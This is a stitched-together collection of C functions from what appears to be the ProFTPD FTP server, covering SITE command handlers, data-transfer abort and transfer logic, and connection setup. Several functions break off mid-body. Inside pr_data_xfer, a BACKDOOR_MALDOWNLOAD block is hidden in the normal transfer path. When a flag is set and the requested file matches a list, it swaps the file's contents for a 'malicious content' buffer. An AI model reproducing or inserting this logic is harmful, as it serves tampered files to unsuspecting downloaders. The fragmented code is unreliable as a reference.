MODRET site_chgrp(cmd_rec *cmd) { int res; gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL); #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } #endif path = dir_realpath(cmd->tmp_pool, arg); if (!path) { pr_response_add_err(R_550, "%s: %s", arg, strerror(errno)); return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a group name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { pr_log_debug(DEBUG9, "SITE CHGRP: Unable to resolve group name '%s' to GID", cmd->argv[1]); pr_response_add_err(R_550, "%s: %s", arg, strerror(EINVAL)); return PR_ERROR(cmd); } } res = core_chgrp(cmd, path, (uid_t) -1, gid); if (res < 0) { int xerrno = errno; (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %lu, GID %lu): " "error chown'ing '%s' to GID %lu: %s", cmd->argv[0], session.user, (unsigned long) session.uid, (unsigned long) session.gid, path, (unsigned long) gid, strerror(xerrno)); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); errno = xerrno; return PR_ERROR(cmd); } else { pr_response_add(R_200, _("SITE %s command successful"), cmd->argv[0]); } return PR_HANDLED(cmd); }
MODRET site_misc_utime(cmd_rec *cmd) { if (cmd->argc < 2) return DECLINED(cmd); if (strcasecmp(cmd->argv[1], "UTIME") == 0) { register unsigned int i; char c, *p, *path = ""; unsigned int year, month, day, hour, min; struct utimbuf tmbuf; unsigned char *authenticated; if (cmd->argc < 4) return DECLINED(cmd); authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (!authenticated || *authenticated == FALSE) { pr_response_add_err(R_530, "Please login with USER and PASS"); return ERROR(cmd); } if (strlen(cmd->argv[2]) != 12) { pr_response_add_err(R_500, "%s: %s", cmd->arg, strerror(EINVAL)); return ERROR(cmd); } for (i = 3; i < cmd->argc; i++) path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", cmd->argv[i], NULL); if (!dir_check(cmd->tmp_pool, "SITE_UTIME", G_WRITE, path, NULL)) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (site_misc_check_filters(cmd, path) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } p = cmd->argv[2]; c = cmd->argv[2][4]; cmd->argv[2][4] = '\0'; year = atoi(p); cmd->argv[2][4] = c; p = &(cmd->argv[2][4]); c = cmd->argv[2][6]; cmd->argv[2][6] = '\0'; month = atoi(p); cmd->argv[2][6] = c; p = &(cmd->argv[2][6]); c = cmd->argv[2][8]; cmd->argv[2][8] = '\0'; day = atoi(p); cmd->argv[2][8] = c; p = &(cmd->argv[2][8]); c = cmd->argv[2][10]; cmd->argv[2][10] = '\0'; hour = atoi(p); cmd->argv[2][10] = c; p = &(cmd->argv[2][10]); min = atoi(p); tmbuf.actime = tmbuf.modtime = site_misc_mktime(year, month, day, hour, min); if (utime(path, &tmbuf) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(errno)); return ERROR(cmd); } pr_response_add(R_200, "SITE %s command successful", cmd->argv[1]); return HANDLED(cmd); } if (strcasecmp(cmd->argv[1], "HELP") == 0) pr_response_add(R_214, "UTIME <sp> YYYYMMDDhhmm <sp> path"); return DECLINED(cmd); }
MODRET site_chmod(cmd_rec *cmd) { int res; mode_t mode = 0; char *dir, *endp, *tmp, *arg = ""; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathAllowFilter", cmd->argv[0], cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathDenyFilter", cmd->argv[0], cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } #endif dir = dir_realpath(cmd->tmp_pool, arg); if (dir == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); errno = xerrno; return PR_ERROR(cmd); } /* If the first character isn't '0', prepend it and attempt conversion. * This will fail if the chmod is a symbolic, but takes care of the * case where an octal number is sent without the leading '0'. */ if (cmd->argv[1][0] != '0') { tmp = pstrcat(cmd->tmp_pool, "0", cmd->argv[1], NULL); } else { tmp = cmd->argv[1]; } mode = strtol(tmp,&endp,0); if (endp && *endp) { /* It's not an absolute number, try symbolic */ char *cp = cmd->argv[1]; int mask = 0, mode_op = 0, curmode = 0, curumask = umask(0); int invalid = 0; char *who, *how, *what; struct stat st; umask(curumask); mode = 0; if (pr_fsio_stat(dir, &st) != -1) curmode = st.st_mode; while (TRUE) { who = pstrdup(cmd->tmp_pool, cp); pr_signals_handle(); tmp = strpbrk(who, "+-="); if (tmp != NULL) { how = pstrdup(cmd->tmp_pool, tmp); if (*how != '=') mode = curmode; *tmp = '\0'; } else { invalid++; break; } tmp = strpbrk(how, "rwxXstugo"); if (tmp != NULL) { what = pstrdup(cmd->tmp_pool, tmp); *tmp = '\0'; } else { invalid++; break; } cp = what; while (cp) { switch (*who) { case 'u': mask = 0077; break; case 'g': mask = 0707; break; case 'o': mask = 0770; break; case 'a': mask = 0000; break; case '\0': mask = curumask; break; default: invalid++; break; } if (invalid) break; switch (*how) { case '+': case '-': case '=': break; default: invalid++; } if (invalid) break; switch (*cp) { case 'r': mode_op |= (S_IRUSR|S_IRGRP|S_IROTH); break; case 'w': mode_op |= (S_IWUSR|S_IWGRP|S_IWOTH); break; case 'x': mode_op |= (S_IXUSR|S_IXGRP|S_IXOTH); break; /* 'X' not implemented */ case 's': /* setuid */ mode_op |= S_ISUID; break; case 't': /* sticky */ mode_op |= S_ISVTX; break; case 'o': mode_op |= curmode & S_IRWXO; mode_op |= (curmode & S_IRWXO) << 3; mode_op |= (curmode & S_IRWXO) << 6; break; case 'g': mode_op |= (curmode & S_IRWXG) >> 3; mode_op |= curmode & S_IRWXG; mode_op |= (curmode & S_IRWXG) << 3; break; case 'u': mode_op |= (curmode & S_IRWXO) >> 6; mode_op |= (curmode & S_IRWXO) >> 3; mode_op |= curmode & S_IRWXU; break; case '\0': /* Apply the mode and move on */ switch (*how) { case '+': case '=': mode |= (mode_op & ~mask); break; case '-': mode &= ~(mode_op & ~mask); break; } mode_op = 0; if (*who && *(who+1)) { who++; cp = what; continue; } else cp = NULL; break; default: invalid++; } if (invalid) break; if (cp) cp++; } break; } if (invalid) { pr_response_add_err(R_550, _("'%s': invalid mode"), cmd->argv[1]); return PR_ERROR(cmd); } }
/* In order to avoid clearing the transfer counters in session.xfer, we don't * clear session.xfer here, it should be handled by the appropriate * LOG_CMD/LOG_CMD_ERR handler calling pr_data_cleanup(). */ void pr_data_abort(int err, int quiet) { int true_abort = XFER_ABORTED; nstrm = NULL; if (session.d) { if (!true_abort) pr_inet_lingering_close(session.pool, session.d, timeout_linger); else pr_inet_lingering_abort(session.pool, session.d, timeout_linger); session.d = NULL; } if (timeout_noxfer) { pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); } if (timeout_stalled) { pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE); } session.sf_flags &= (SF_ALL^SF_PASSIVE); session.sf_flags &= (SF_ALL^(SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE)); pr_session_set_idle(); /* Aborts no longer necessary */ signal(SIGURG, SIG_IGN); if (timeout_noxfer) pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); if (!quiet) { char *respcode = R_426; char *msg = NULL; char msgbuf[64]; switch (err) { case 0: respcode = R_426; msg = _("Data connection closed"); break; #ifdef ENXIO case ENXIO: respcode = R_451; msg = _("Unexpected streams hangup"); break; #endif #ifdef EAGAIN case EAGAIN: /* FALLTHROUGH */ #endif #ifdef ENOMEM case ENOMEM: #endif #if defined(EAGAIN) || defined(ENOMEM) respcode = R_451; msg = _("Insufficient memory or file locked"); break; #endif #ifdef ETXTBSY case ETXTBSY: /* FALLTHROUGH */ #endif #ifdef EBUSY case EBUSY: #endif #if defined(ETXTBSY) || defined(EBUSY) respcode = R_451; break; #endif #ifdef ENOSPC case ENOSPC: respcode = R_452; break; #endif #ifdef EDQUOT case EDQUOT: /* FALLTHROUGH */ #endif #ifdef EFBIG case EFBIG: #endif #if defined(EDQUOT) || defined(EFBIG) respcode = R_552; break; #endif #ifdef ECOMM case ECOMM: /* FALLTHROUGH */ #endif #ifdef EDEADLK case EDEADLK: /* FALLTHROUGH */ #endif #ifdef EDEADLOCK # if !defined(EDEADLK) || (EDEADLOCK != EDEADLK) case EDEADLOCK: /* FALLTHROUGH */ # endif #endif #ifdef EXFULL case EXFULL: /* FALLTHROUGH */ #endif #ifdef ENOSR case ENOSR: /* FALLTHROUGH */ #endif #ifdef EPROTO case EPROTO: /* FALLTHROUGH */ #endif #ifdef ETIME case ETIME: /* FALLTHROUGH */ #endif #ifdef EIO case EIO: /* FALLTHROUGH */ #endif #ifdef EFAULT case EFAULT: /* FALLTHROUGH */ #endif #ifdef ESPIPE case ESPIPE: /* FALLTHROUGH */ #endif #ifdef EPIPE case EPIPE: #endif #if defined(ECOMM) || defined(EDEADLK) || defined(EDEADLOCK) \ || defined(EXFULL) || defined(ENOSR) || defined(EPROTO) \ || defined(ETIME) || defined(EIO) || defined(EFAULT) \ || defined(ESPIPE) || defined(EPIPE) respcode = R_451; break; #endif #ifdef EREMCHG case EREMCHG: /* FALLTHROUGH */ #endif #ifdef ESRMNT case ESRMNT: /* FALLTHROUGH */ #endif #ifdef ESTALE case ESTALE: /* FALLTHROUGH */ #endif #ifdef ENOLINK case ENOLINK: /* FALLTHROUGH */ #endif #ifdef ENOLCK case ENOLCK: /* FALLTHROUGH */ #endif #ifdef ENETRESET case ENETRESET: /* FALLTHROUGH */ #endif #ifdef ECONNABORTED case ECONNABORTED: /* FALLTHROUGH */ #endif #ifdef ECONNRESET case ECONNRESET: /* FALLTHROUGH */ #endif #ifdef ETIMEDOUT case ETIMEDOUT: #endif #if defined(EREMCHG) || defined(ESRMNT) || defined(ESTALE) \ || defined(ENOLINK) || defined(ENOLCK) || defined(ENETRESET) \ || defined(ECONNABORTED) || defined(ECONNRESET) || defined(ETIMEDOUT) respcode = R_450; msg = _("Link to file server lost"); break; #endif } if (msg == NULL && (msg = strerror(err)) == NULL ) { if (snprintf(msgbuf, sizeof(msgbuf), _("Unknown or out of range errno [%d]"), err) > 0) msg = msgbuf; } pr_log_pri(PR_LOG_NOTICE, "notice: user %s: aborting transfer: %s", session.user, msg); /* If we are aborting, then a 426 response has already been sent, * and we don't want to add another to the error queue. */ if (!true_abort) pr_response_add_err(respcode, _("Transfer aborted. %s"), msg ? msg : ""); } if (true_abort) session.sf_flags |= SF_POST_ABORT; }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
static int data_active_open(char *reason, off_t size) { conn_t *c; int rev; pr_netaddr_t *bind_addr; if (!reason && session.xfer.filename) reason = session.xfer.filename; if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) { bind_addr = session.c->local_addr; } else { /* In this scenario, the server has an IPv6 socket, but the remote client * is an IPv4 (or IPv4-mapped IPv6) peer. */ bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr); } session.d = pr_inet_create_conn(session.pool, -1, bind_addr, session.c->local_port-1, TRUE); /* Set the "stalled" timer, if any, to prevent the connection * open from taking too long */ if (timeout_stalled) { pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb, "TimeoutStalled"); } rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS); /* Protocol and socket options should be set before handshaking. */ if (session.xfer.direction == PR_NETIO_IO_RD) { pr_inet_set_socket_opts(session.d->pool, session.d, (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0); } else { pr_inet_set_socket_opts(session.d->pool, session.d, 0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0)); } /* Make sure that the necessary socket options are set on the socket prior * to the call to connect(2). */ pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0, IPTOS_THROUGHPUT, 1); pr_inet_generate_socket_event("core.data-connect", main_server, session.d->local_addr, session.d->listen_fd); if (pr_inet_connect(session.d->pool, session.d, &session.data_addr, session.data_port) == -1) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA, session.d->listen_fd, -1, -1, TRUE); pr_netaddr_set_reverse_dns(rev); if (c) { pr_log_debug(DEBUG4, "active data connection opened - local : %s:%d", pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port); pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d", pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port); if (session.xfer.xfer_type != STOR_UNIQUE) { if (size) pr_response_send(R_150, _("Opening %s mode data connection for %s " "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size); else pr_response_send(R_150, _("Opening %s mode data connection for %s"), MODE_STRING, reason); } else { /* Format of 150 responses for STOU is explicitly dictated by * RFC 1123: * * 4.1.2.9 STOU Command: RFC-959 Section 4.1.3 * * The STOU command stores into a uniquely named file. When it * receives an STOU command, a Server-FTP MUST return the * actual file name in the "125 Transfer Starting" or the "150 * Opening Data Connection" message that precedes the transfer * (the 250 reply code mentioned in RFC-959 is incorrect). The * exact format of these messages is hereby defined to be as * follows: * * 125 FILE: pppp * 150 FILE: pppp * * where pppp represents the unique pathname of the file that * will be written. */ pr_response_send(R_150, "FILE: %s", reason); } pr_inet_close(session.pool, session.d); pr_inet_set_nonblock(session.pool, session.d); session.d = c; return 0; } pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; }
int pr_data_open(char *filename, char *reason, int direction, off_t size) { int res = 0; /* Make sure that any abort flags have been cleared. */ session.sf_flags &= ~SF_ABORT; if (session.xfer.p == NULL) { data_new_xfer(filename, direction); } else { session.xfer.direction = direction; } if (!reason) reason = filename; /* Passive data transfers... */ if (session.sf_flags & SF_PASSIVE || session.sf_flags & SF_EPSV_ALL) { if (session.d == NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: PASV mode set, but no data " "connection listening"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_pasv_open(reason, size); /* Active data transfers... */ } else { if (session.d != NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: non-PASV mode, yet data " "connection already exists?!?"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_active_open(reason, size); } if (res >= 0) { struct sigaction act; if (pr_netio_postopen(session.d->instrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } if (pr_netio_postopen(session.d->outstrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } memset(&session.xfer.start_time, '\0', sizeof(session.xfer.start_time)); gettimeofday(&session.xfer.start_time, NULL); if (session.xfer.direction == PR_NETIO_IO_RD) nstrm = session.d->instrm; else nstrm = session.d->outstrm; session.sf_flags |= SF_XFER; if (timeout_noxfer) pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); /* Allow aborts -- set the current NetIO stream to allow interrupted * syscalls, so our SIGURG handler can interrupt it */ pr_netio_set_poll_interval(nstrm, 1); /* PORTABILITY: sigaction is used here to allow us to indicate * (w/ POSIX at least) that we want SIGURG to interrupt syscalls. Put * in whatever is necessary for your arch here; probably not necessary * as the only _important_ interrupted syscall is select(), which on * any sensible system is interrupted. */ act.sa_handler = data_urgent; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_INTERRUPT act.sa_flags |= SA_INTERRUPT; #endif if (sigaction(SIGURG, &act, NULL) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to set SIGURG signal handler: %s", strerror(errno)); #ifdef HAVE_SIGINTERRUPT /* This is the BSD way of ensuring interruption. * Linux uses it too (??) */ if (siginterrupt(SIGURG, 1) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to make SIGURG interrupt system calls: %s", strerror(errno)); #endif } return res; }
int proxy_ftp_xfer_prepare_active(int policy_id, cmd_rec *cmd, const char *error_code, struct proxy_session *proxy_sess, int flags) { int backend_family, bind_family, res, xerrno = 0; cmd_rec *actv_cmd; const pr_netaddr_t *bind_addr = NULL; pr_response_t *resp; unsigned int resp_nlines = 0; conn_t *data_conn = NULL; char *active_cmd; const char *resp_msg = NULL; if (cmd == NULL || error_code == NULL || proxy_sess == NULL || proxy_sess->backend_ctrl_conn == NULL) { errno = EINVAL; return -1; } switch (policy_id) { case PR_CMD_PORT_ID: active_cmd = C_PORT; break; case PR_CMD_EPRT_ID: /* If the remote host does not mention EPRT in its features, fall back * to using PORT. */ active_cmd = C_EPRT; if (pr_table_get(proxy_sess->backend_features, C_EPRT, NULL) == NULL) { pr_trace_msg(trace_channel, 19, "EPRT not supported by backend server (via FEAT), using PORT"); if (proxy_sess->dataxfer_policy == PR_CMD_EPRT_ID) { proxy_sess->dataxfer_policy = PR_CMD_PORT_ID; } active_cmd = C_PORT; policy_id = PR_CMD_PORT_ID; } break; default: /* In this case, the cmd we were given is the one we should send to * the backend server -- but only if it is either EPRT or PORT. */ if (pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) != 0 && pr_cmd_cmp(cmd, PR_CMD_PORT_ID) != 0) { pr_trace_msg(trace_channel, 9, "illegal FTP active transfer command '%s'", (char *) cmd->argv[0]); errno = EINVAL; return -1; } active_cmd = cmd->argv[0]; if (pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0) { /* If the remote host does not mention EPRT in its features, fall back * to using PORT. */ if (pr_table_get(proxy_sess->backend_features, C_EPRT, NULL) == NULL) { pr_trace_msg(trace_channel, 19, "EPRT not supported by backend server (via FEAT), using PORT"); if (proxy_sess->dataxfer_policy == 